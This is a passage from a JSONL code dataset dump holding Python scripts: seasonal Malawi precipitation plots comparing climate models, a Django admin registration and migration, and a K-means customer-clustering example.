\r\n    plt.plot(X,UDelSON_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCSON_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUSON_mean.data,UDelSON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUSON_mean.data,GPCCSON_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCSON_mean.data,UDelSON_mean.data, color='grey', alpha='0.5')\r\n    plt.plot(X, ObsSONY, label='Observed', lw=1.5, color='black')\r\n    plt.plot(X, AverageSONRY, label='Average RCM', lw=1.5, color='cyan')\r\n    plt.plot(X, AverageSONGY, label='Average GCM', lw=1.5, color='magenta')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=3)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi SON 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_Ave_LineGraph_SON', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show() \r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUDJF_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelDJF_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCDJF_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUDJF_mean.data,UDelDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUDJF_mean.data,GPCCDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCDJF_mean.data,UDelDJF_mean.data, color='grey', alpha='0.5')\r\n    plt.plot(X, ObsDJFY, label='Observed', lw=1.5, color='black')\r\n    plt.plot(X, AverageDJFRY, label='Average RCM', lw=1.5, color='cyan')\r\n    plt.plot(X, AverageDJFGY, label='Average GCM', lw=1.5, color='magenta')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=3)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi DJF 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_Ave_LineGraph_DJF', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show() \r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUMAM_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelMAM_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCMAM_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUMAM_mean.data,UDelMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUMAM_mean.data,GPCCMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCMAM_mean.data,UDelMAM_mean.data, color='grey', alpha='0.5')\r\n    plt.plot(X, ObsMAMY, label='Observed', lw=1.5, color='black')\r\n    plt.plot(X, AverageMAMRY, label='Average RCM', lw=1.5, color='cyan')\r\n    plt.plot(X, AverageMAMGY, label='Average GCM', lw=1.5, color='magenta')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=3)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi MAM 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_Ave_LineGraph_MAM', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n   \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUJJA_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelJJA_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCJJA_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUJJA_mean.data,UDelJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUJJA_mean.data,GPCCJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCJJA_mean.data,UDelJJA_mean.data, color='grey', alpha='0.5')\r\n    plt.plot(X, ObsJJAY, label='Observed', lw=1.5, color='black')\r\n    plt.plot(X, AverageJJARY, label='Average RCM', lw=1.5, color='cyan')\r\n    plt.plot(X, AverageJJAGY, label='Average GCM', lw=1.5, color='magenta')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=3)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi JJA 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_Ave_LineGraph_JJA', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n    \r\n    #limit x axis    \r\n    plt.xlim((1961,2005)) \r\n    \r\n    #assign the line colours and set x axis to 'year' rather than 'time'\r\n    plt.plot(X,CRUYR_mean.data, lw=1, color='grey')   \r\n    plt.plot(X,UDelYR_mean.data, lw=1, color='grey')\r\n    plt.plot(X,GPCCYR_mean.data, lw=1, color='grey') \r\n    plt.fill_between(X,CRUYR_mean.data,UDelYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,CRUYR_mean.data,GPCCYR_mean.data, color='grey', alpha='0.5')\r\n    plt.fill_between(X,GPCCYR_mean.data,UDelYR_mean.data, color='grey', alpha='0.5')\r\n    plt.plot(X, ObsY, label='Observed', lw=1.5, color='black')\r\n    plt.plot(X, AverageRY, label='Average RCM', lw=1.5, color='cyan')\r\n    plt.plot(X, AverageGY, label='Average GCM', lw=1.5, color='magenta')\r\n            \r\n    #set a title for the y axis\r\n    plt.ylabel('Precipitation Rate (mm per year)')\r\n    \r\n    #create a legend and set its location to under the graph\r\n    plt.legend(loc=\"upper center\", bbox_to_anchor=(0.5,-0.05), fancybox=True, shadow=True, ncol=3)\r\n    \r\n    #create a title\r\n    plt.title('Pr for Malawi 1961-2005', fontsize=11)   \r\n    \r\n    #add grid lines\r\n    plt.grid()\r\n    \r\n    #save the image of the graph and include full legend\r\n    plt.savefig('Pr_Ave_LineGraph_Annual', bbox_inches='tight')\r\n\r\n    #show the graph in the console\r\n    iplt.show()\r\n\r\n#    print \"YR\"    \r\n#    slope = stats.linregress(XE, ObsEY)\r\n#    print slope\r\n#    slope = stats.linregress(X, ObsY)\r\n#    print slope\r\n#    print \"ERAINT\"\r\n#    slope = stats.linregress(XE,CCCmaYR_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,CLMcomYR_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,DMIYR_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,KNMIYR_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,MPIEYR_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,SMHIYR_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,AverageEY)\r\n#    print slope\r\n#    print \"RCMT\"\r\n#    slope = stats.linregress(X,CCCmaCanRCMYR_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(X,CCCmaSMHIYR_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CNRMYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMSMHIYR_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CSIROYR_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECDMIYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,ICHECCCLMYR_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECKNMIYR_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,ICHECMPIYR_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,ICHECSMHIYR_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,IPSLYR_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MIROCYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MOHCCCLMYR_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MOHCKNMIYR_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MOHCSMHIYR_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MPICCLMYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MPIREMOYR_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPISMHIYR_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCDMIYR_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCSMHIYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,NOAAYR_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,AverageRY)\r\n#    print slope\r\n#    print \"GCM\"\r\n#    slope = stats.linregress(X,CanESM2YR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMGYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MK3YR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTHYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTH3YR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,GFDLYR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,HadGEM2YR_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,IPSLGYR_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MIROCGYR_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPIYR_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,NorESM1YR_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,AverageGY)\r\n#    print slope\r\n#      \r\n#    print \"DJF\"    \r\n#    slope = stats.linregress(XE, ObsEDJFY)\r\n#    print slope\r\n#    slope = stats.linregress(X, ObsDJFY)\r\n#    print slope\r\n#    print \"ERAINT\"\r\n#    slope = stats.linregress(XE,CCCmaDJF_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,CLMcomDJF_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,DMIDJF_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,KNMIDJF_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,MPIEDJF_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,SMHIDJF_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,AverageDJFEY)\r\n#    print slope\r\n#    print \"RCMT\"\r\n#    slope = stats.linregress(X,CCCmaCanRCMDJF_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(X,CCCmaSMHIDJF_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CNRMDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMSMHIDJF_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CSIRODJF_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECDMIDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,ICHECCCLMDJF_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECKNMIDJF_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,ICHECMPIDJF_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,ICHECSMHIDJF_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,IPSLDJF_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MIROCDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MOHCCCLMDJF_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MOHCKNMIDJF_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MOHCSMHIDJF_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MPICCLMDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MPIREMODJF_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPISMHIDJF_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCDMIDJF_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCSMHIDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,NOAADJF_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,AverageDJFRY)\r\n#    print slope\r\n#    print \"GCM\"\r\n#    slope = stats.linregress(X,CanESM2DJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMGDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MK3DJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTHDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTH3DJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,GFDLDJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,HadGEM2DJF_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,IPSLGDJF_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MIROCGDJF_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPIDJF_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,NorESM1DJF_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,AverageDJFGY)\r\n#    print slope\r\n#\r\n#    print \"MAM\"    \r\n#    slope = stats.linregress(XE, ObsEMAMY)\r\n#    print slope\r\n#    slope = stats.linregress(X, ObsMAMY)\r\n#    print slope\r\n#    print \"ERAINT\"\r\n#    slope = stats.linregress(XE,CCCmaMAM_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,CLMcomMAM_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,DMIMAM_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,KNMIMAM_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,MPIEMAM_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,SMHIMAM_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,AverageMAMEY)\r\n#    print slope\r\n#    print \"RCMT\"\r\n#    slope = stats.linregress(X,CCCmaCanRCMMAM_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(X,CCCmaSMHIMAM_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CNRMMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMSMHIMAM_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CSIROMAM_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECDMIMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,ICHECCCLMMAM_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECKNMIMAM_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,ICHECMPIMAM_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,ICHECSMHIMAM_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,IPSLMAM_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MIROCMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MOHCCCLMMAM_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MOHCKNMIMAM_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MOHCSMHIMAM_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MPICCLMMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MPIREMOMAM_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPISMHIMAM_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCDMIMAM_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCSMHIMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,NOAAMAM_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,AverageMAMRY)\r\n#    print slope\r\n#    print \"GCM\"\r\n#    slope = stats.linregress(X,CanESM2MAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMGMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MK3MAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTHMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTH3MAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,GFDLMAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,HadGEM2MAM_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,IPSLGMAM_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MIROCGMAM_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPIMAM_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,NorESM1MAM_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,AverageMAMGY)\r\n#    print slope\r\n#\r\n#    print \"JJA\"    \r\n#    slope = stats.linregress(XE, ObsEJJAY)\r\n#    print slope\r\n#    slope = stats.linregress(X, ObsJJAY)\r\n#    print slope\r\n#    print \"ERAINT\"\r\n#    slope = stats.linregress(XE,CCCmaJJA_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,CLMcomJJA_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,DMIJJA_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,KNMIJJA_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,MPIEJJA_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,SMHIJJA_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,AverageJJAEY)\r\n#    print slope\r\n#    print \"RCMT\"\r\n#    slope = stats.linregress(X,CCCmaCanRCMJJA_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(X,CCCmaSMHIJJA_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CNRMJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMSMHIJJA_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CSIROJJA_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECDMIJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,ICHECCCLMJJA_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECKNMIJJA_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,ICHECMPIJJA_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,ICHECSMHIJJA_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,IPSLJJA_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MIROCJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MOHCCCLMJJA_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MOHCKNMIJJA_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MOHCSMHIJJA_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MPICCLMJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MPIREMOJJA_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPISMHIJJA_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCDMIJJA_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCSMHIJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,NOAAJJA_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,AverageJJARY)\r\n#    print slope\r\n#    print \"GCM\"\r\n#    slope = stats.linregress(X,CanESM2JJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMGJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MK3JJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTHJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTH3JJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,GFDLJJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,HadGEM2JJA_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,IPSLGJJA_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MIROCGJJA_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPIJJA_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,NorESM1JJA_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,AverageJJAGY)\r\n#    print slope\r\n#\r\n#    print \"SON\"    \r\n#    slope = stats.linregress(XE, ObsESONY)\r\n#    print slope\r\n#    slope = stats.linregress(X, ObsSONY)\r\n#    print slope\r\n#    print \"ERAINT\"\r\n#    slope = stats.linregress(XE,CCCmaSON_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,CLMcomSON_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,DMISON_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,KNMISON_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,MPIESON_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,SMHISON_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(XE,AverageSONEY)\r\n#    print slope\r\n#    print \"RCMT\"\r\n#    slope = stats.linregress(X,CCCmaCanRCMSON_mean.data)\r\n#    print slope\r\n#    slope = stats.linregress(X,CCCmaSMHISON_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CNRMSON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMSMHISON_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,CSIROSON_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECDMISON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,ICHECCCLMSON_mean.data)\r\n#    print slope \r\n#    slope = stats.linregress(X,ICHECKNMISON_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,ICHECMPISON_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,ICHECSMHISON_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,IPSLSON_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MIROCSON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MOHCCCLMSON_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,MOHCKNMISON_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MOHCSMHISON_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MPICCLMSON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MPIREMOSON_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPISMHISON_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCDMISON_mean.data)\r\n#    print slope    \r\n#    slope = stats.linregress(X,NCCSMHISON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,NOAASON_mean.data)\r\n#    print slope      \r\n#    slope = stats.linregress(X,AverageSONRY)\r\n#    print slope\r\n#    print \"GCM\"\r\n#    slope = stats.linregress(X,CanESM2SON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,CNRMGSON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,MK3SON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTHSON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,EARTH3SON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,GFDLSON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,HadGEM2SON_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,IPSLGSON_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,MIROCGSON_mean.data)\r\n#    print slope     \r\n#    slope = stats.linregress(X,MPISON_mean.data)\r\n#    print slope   \r\n#    slope = stats.linregress(X,NorESM1SON_mean.data)\r\n#    print slope  \r\n#    slope = stats.linregress(X,AverageSONGY)\r\n#    print slope\r\n\r\n\r\nif __name__ == '__main__':\r\n    main()\r\n    \r\n        \r\n","sub_path":"Hist_Line_Graph_Pr_Yearly.py","file_name":"Hist_Line_Graph_Pr_Yearly.py","file_ext":"py","file_size_in_byte":176347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"577155322","text":"from django.contrib import admin\n\nfrom fjord.suggest.providers.trigger.models import TriggerRule\n\n\nclass TriggerRuleAdmin(admin.ModelAdmin):\n    list_display = (\n        'title', 'is_enabled', 'url', 'locales', 'keywords', 'versions',\n        'url_exists'\n    )\n    list_filter = ('is_enabled',)\n\n\nadmin.site.register(TriggerRule, TriggerRuleAdmin)\n","sub_path":"fjord/suggest/providers/trigger/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"126062125","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Communication',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('recipient', models.EmailField(default=b'', max_length=75, null=True)),\n                ('subject', models.CharField(default=b'', max_length=256, null=True)),\n                ('date', models.DateField(null=True)),\n                ('content', models.TextField(default=b'', null=True)),\n                ('success', models.BooleanField(default=True)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n    ]\n","sub_path":"transactional_email/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"530047614","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr  2 23:19:54 2020\n\n@author: nancyscarlet\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n \ndataset = pd.read_csv('Mall_Customers.csv')\nX = dataset.iloc[:,[3,4]].values\n \nfrom sklearn.cluster import KMeans\n \n #Finding the optimised num of clusters by elbow\n #graph plotting\nwcss = []\nfor i in range(1,11):\n    kmeans = KMeans(n_clusters=i,init='k-means++',\n                     n_init=10,max_iter=300,random_state=0)\n    kmeans.fit(X)\n    wcss.append(kmeans.inertia_)\n    #Inertia gives the WCSS value for a particular i\n     \nplt.plot(range(1,11),wcss)\nplt.title('Elbow graph')\nplt.xlabel('Num of neighbors')\nplt.ylabel('WCSS')\nplt.show()\n\n#FRom the graph we saw that the elbow is at k=5\n#k is the num of neighbors\nkmeans=KMeans(n_clusters=5,init='k-means++',\n                     n_init=10,max_iter=300,random_state=0)\ny_kmeans= kmeans.fit_predict(X)\n\n#X[y_kmeans==0,0] implies selecting that row only if \n#y is 0\nplt.scatter(X[y_kmeans==0,0],X[y_kmeans==0,1],s=100,c='red',label='Cluster1')\nplt.scatter(X[y_kmeans==1,0],X[y_kmeans==1,1],s=100,c='green',label='Cluster2')\nplt.scatter(X[y_kmeans==2,0],X[y_kmeans==2,1],s=100,c='blue',label='Cluster3')\nplt.scatter(X[y_kmeans==3,0],X[y_kmeans==3,1],s=100,c='cyan',label='Cluster4')\nplt.scatter(X[y_kmeans==4,0],X[y_kmeans==4,1],s=100,c='magenta',label='Cluster5')\n\nplt.scatter(kmeans.cluster_centers_[:,0],kmeans.cluster_centers_[:,1],s=300,c='yellow',labek='Centroids')\nplt.title('k means clustering')\nplt.xlabel('Annual Income')\nplt.ylabel('Spending score')\nplt.legend()\nplt.show()","sub_path":"Machine Learning A-Z Template Folder/Part 4 - Clustering/Section 24 - K-Means Clustering/K_Means/untitled1.py","file_name":"untitled1.py","file_ext":"py","file_size_in_byte":1629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
